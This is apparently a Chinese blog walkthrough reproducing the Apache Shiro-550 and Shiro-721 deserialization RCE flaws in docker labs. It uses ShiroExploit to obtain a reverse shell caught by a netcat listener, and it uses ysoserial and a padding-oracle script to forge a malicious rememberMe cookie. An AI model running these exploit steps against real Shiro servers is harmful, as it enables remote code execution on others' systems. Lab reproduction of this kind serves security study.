shiro系列漏洞复现(shiro550和shiro721漏洞)

一:shiro550漏洞复现(cve-2016-4437)

漏洞描述

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。

Apache Shiro反序列化漏洞分为两种:Shiro-550Shiro-721

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
 

环境搭建

启动环境

切换到/shiro/CVE-2016-4437# 目录下

docker-compose up -d

d3a717f82d5740a7bc6dbf88581f566a.png

此时环境搭建成功

7160643f1f8a400c9cfb453bd6fd38c1.png

漏洞复现

 勾选remenberMe选项,然后抓包,相应包中有rememberME字段,证明其为shiro框架

c42f67353eab4123839085b3183ffe2f.png

 

使用shiro反序列化检测工具测试

github:https://github.com/feihong-cs/ShiroExploit/releases

4cc58250f500402987609bf943475119.png

 输入url然后点击下一步

0d2af2f43f8045598c5ee1cd01d44112.png

检测到目标存在Shiro反序列化漏洞

 438739969c754f79a1d44335d1e15bea.png

 打开监听模式

反弹shell

nc -lvp 6666

8bb6c8b98ccc40a48e171b195ef40fd5.png

 cac78058dba44ffc928c9f6dff6a3941.png

 此时查看是否监听到

9f85858ca8434bbc8331b30ba3f4618a.png

 反弹shell成功

 二:shiro721漏洞复现

环境搭建

docker pull medicean/vulapps:s_shiro_1

c2b5feac71f148b8864aed9f06a04d14.png

 docker run -d -p8080:8080 be6

fefff5858a644f478ec1cd05fc795961.png

 此时环境搭建成功

5aa1213427c145c4ba53768b4d1e6ad8.png

漏洞复现

dd0e9fae74d44beb91ba36c9e19dbae0.png

 

点击log in

输入正确的username和password

点击remember me

抓包

51eaf864f413442a95b057b550b9b202.png

 

认证失败时会设置 deleteMe 的 cookie

rememberMe=szoAhLDzPjZhooRSblDquHLMGkUP74G3V6R0yREvaGgLHDBGg2xUnTiqDSUAxMvnPDcgl0TcavUdZmHXxaPXtDAX2perdj8D9v2gLhm+ZK6ymkYD6ptgeOPFcra5h4p05Mb2/q03HmMaNWJUVCv7FuZOXdkW9ygXymNsp+sk33EVPeHhRbCWqRAojiSwP52EpAVZ0RAySavrq+IWmRzIw3ERcfLwDrDd+oFnQBLhIHIV6nMRCMCnuDvkpHmNSLOdX39/4yJSfECl+WIVD8SnVHZD8vMQHzsL+oIrIw5R/IzaQ22dhZBsDDOAVw0HNwXsuSA1L0SoQhjWTGmmgIpFwS8FCUks9xS22EC458yLsVlqXp1NtxSvWhSrNmQhQKoU+JdZTbJq38a41zZcvMy4Fa420E/xyrnD5FE4rA03bPgLFLFUniko3Tvm5uY4l9hcyR797DRz62fsuoOgGXzb2IkYAzAbnk035iiYuR1okO7XT5GNCgUXgelgdCe6D5Fo

使用ysoserial工具生成payload

fc3996666d4640859a0511431e3cd1c7.png

 

在下载路径上cmd打开
java -jar ysoserial.jar CommonsBeanutils1 "touch
 /usr/local/tomcat/test" > payload.class

#"touch
 /usr/local/tomcat/test" 在/usr/local/tomcat目录写入test

4bb3b02578dc428391917fded00fce49.png

 6a876668d839460198f3d2bf35f0f100.png

cp payload.class  shiro_rce_exp-master

 75132b84d94a458da587d4cb8d601c7c.png

 cd shiro_rce_exp-master   切换到脚本目录

 7436124e922c49c0b1809d70cb62cb1c.png

python2 shiro_exp.py http://192.168.8.208:8181/account/  之前获取的RememberMe值   payload.class

这里用python2启动脚本

206c99b620004b2c9a36f0e58125078e.png

 接下来就是漫长的等待~

72777692b42b452fbc21694121b6b2aa.png

7cf529e826224976a6a018d23e0ad936.png

 将扫出来的cookies替换之前的

9660735ddd144a3c98f14bf7c0a4a563.png

检查一下执行结果,可以看到成功创建了一个test文件

f2ea6f4140a84aa39f4bd7118ec57f5d.png

 

 

 

 

 

 

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值